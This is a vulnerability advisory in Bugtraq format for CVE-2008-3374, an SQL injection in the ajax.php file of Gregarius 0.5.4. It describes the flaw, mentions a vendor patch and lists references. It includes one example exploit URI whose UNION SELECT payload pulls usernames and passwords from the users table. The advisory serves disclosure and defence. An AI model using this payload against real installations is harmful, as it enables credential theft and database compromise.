Gregarius 'ajax.php' SQL Injection Vulnerability

Bugtraq ID:	30423
Class:	Input Validation Error
CVE:	CVE-2008-3374
Remote:	Yes
Local:	No
Published:	Jul 29 2008 12:00AM
Updated:	May 07 2015 05:25PM
Credit:	GulfTech Security Research
Vulnerable:	Marco Bonetti Gregarius 0.5.4
Not Vulnerable:

Gregarius 'ajax.php' SQL Injection Vulnerability

Gregarius is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Gregarius 0.5.4 is vulnerable; other versions may also be affected.

Gregarius 'ajax.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/ajax.php?rs=__exp__getFeedContent&rsargs[]=-99 UNION SELECT concat(char(58),uname,char(58),password),2,3,4,5,6,7,8,9,0,1,2,3 FROM users/*

Gregarius 'ajax.php' SQL Injection Vulnerability

Solution:
The vendor has released a patch in the SVN repository. Please see the references for more information.

Gregarius 'ajax.php' SQL Injection Vulnerability

References:

• Gregarius Homepage (Marco Bonetti)
  
• Gregarius <= 0.5.4 SQL Injection (GulfTech Security Research )